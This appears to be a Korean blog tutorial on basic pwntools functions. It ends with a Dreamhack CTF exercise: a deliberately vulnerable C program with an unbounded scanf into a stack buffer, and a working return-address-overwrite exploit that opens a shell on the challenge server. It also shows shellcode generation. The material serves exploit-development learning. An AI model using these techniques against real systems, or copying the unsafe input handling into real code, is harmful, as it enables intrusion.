Post

System Hacking - pwntools basic

pwntools 기본 함수들의 용도에 대한 매우 기본적인 내용 정리

필요하다면, docs 원문을 참조하자. pwntools api docs

installation of pwntools

1
2
3
4
5
#Based on Debian 
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

pwntools functions

process & remote

process함수는 로컬 바이너리를 대상으로, remote는 원격 서버를 대상으로한다.

1
2
3
from pwn import *
p = process('./main')
p = remote('example.com', port) 

send

데이터를 프로세스에 전송하는 함수다.

1
2
3
4
5
6
from pwn import *
p = process('./poc')
p.send(b'A')  # ./poc에 b'A'를 입력
p.sendline(b'A') # ./poc에 b'A' + b'\n'을 입력
p.sendafter(b'output', b'A')  # ./poc가 b'output'을 출력하면, b'A'를 입력
p.sendlineafter(b'output', b'A')  # ./poc가 b'output'을 출력하면, b'A' + b'\n'을 입력

recv

프로세스에서 데이터를 받는 함수. recv(), recvn()의 차이점을 유의하자. recvn(n)은 n바이트를 정확히 받는 반면, recv(n)최대 n바이트 만큼의 데이터를 받는다.

1
2
3
4
5
6
7
from pwn import *
p = process('./poc')
data = p.recv(1024)  # p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장
data = p.recvline()  # p가 출력하는 데이터를 개행문자를 만날 때까지 받아서 data에 저장
data = p.recvn(8)  # p가 출력하는 데이터를 8바이트만 받아서 data에 저장
data = p.recvuntil(b'hello')  # p가 b'hello'를 출력할 때까지 데이터를 수신하여 data에 저장
data = p.recvall()  # p가 출력하는 데이터를 프로세스가 종료될 때까지 받아서 data에 저장

packing & unpacking

값을 리틀 엔디언 바이트 배열로 변경하거나, 그의 역과정을 수행하는 함수들이 있다. p32,p64,u32,u64 함수의 예시만 사용해보자. 함수의 이름처럼 매우 직관적인 기능을 수행한다.

1
2
3
4
5
6
7
8
9
from pwn import *
s32 = 0x41424344
s64 = 0x4142434445464748
print(p32(s32))
print(p64(s64))
s32 = b"ABCD"
s64 = b"ABCDEFGH"
print(hex(u32(s32)))
print(hex(u64(s64)))
1
2
3
4
5
# output
b'DCBA'
b'HGFEDCBA'
0x44434241
0x4847464544434241

interactive

입출력을 직접 수행할 수 있게 해준다. shell을 획득했거나 특정 상황에서 직접 입력과 그에 따른 출력을 확인해야 할때 사용하는 함수다.

1
2
3
from pwn import *
p = process('./poc')
p.interactive()

ELF

ELF 헤더의 정보를 확인할수 있게 해주는 함수

1
2
3
4
from pwn import *
e = ELF('./poc')
puts_plt = e.plt['puts'] # puts()의 PLT주소를 찾아서 puts_plt에 저장
read_got = e.got['read'] # read()의 GOT주소를 찾아서 read_got에 저장

context.log

익스플로잇 로깅. context.log_level변수로 로그 레벨을 조절 할 수 있다.

1
2
3
4
from pwn import *
context.log_level = 'error' # 에러만 출력
context.log_level = 'debug' # 대상 프로세스와 익스플로잇간에 오가는 모든 데이터를 화면에 출력
context.log_level = 'info'  # 중요한 정보들만 출력

context.arch

아키텍처 정보를 지정할 수 있다. 이 값에 따라 몇몇 함수들의 동작이 달라진다.

1
2
3
4
from pwn import *
context.arch = "amd64" # x86-64 아키텍처
context.arch = "i386"  # x86 아키텍처
context.arch = "arm"   # arm 아키텍처

shellcraft

자주 사용되는 여러 셸 코드들을 제공한다. 그러나 정적으로 생성되는 코드이므로, 제약이 있는 상황에서는 직접 그에 따라 셸코드를 작성하자.

1
2
3
from pwn import *
context.arch = 'amd64' # 대상 아키텍처 x86-64
code = shellcraft.sh() # 셸을 실행하는 셸 코드 

asm

어셈블 기능을 수행한다. 사전에 context.arch가 정의되어야한다.

1
2
3
4
from pwn import *
context.arch = 'amd64' # 익스플로잇 대상 아키텍처 'x86-64'
code = shellcraft.sh() # 셸을 실행하는 셸 코드
code = asm(code)       # 셸 코드를 기계어로 어셈블

pwntools example

Dreamhack Prob

취약한 C 코드가 아래와 같이 주어진다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

pwntools를 이용해서 셸을 획득하고, flag파일을 읽어오자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python3

from pwn import *

#p = process('./rao')
p = remote("host3.dreamhack.games", 14044)

elf = ELF('./rao')
get_shell = elf.symbols['get_shell']       # The address of get_shell()

payload = b'A'*0x30        #|       buf      |  <= 'A'*0x30
payload += b'B'*0x8        #|       SFP      |  <= 'B'*0x8
payload += p64(get_shell)  #| Return address |  <= '\xaa\x06\x40\x00\x00\x00\x00\x00'

p.sendline(payload)        # Send payload to './rao'

p.interactive()            # Communicate with shell
This post is licensed under CC BY 4.0 by the author.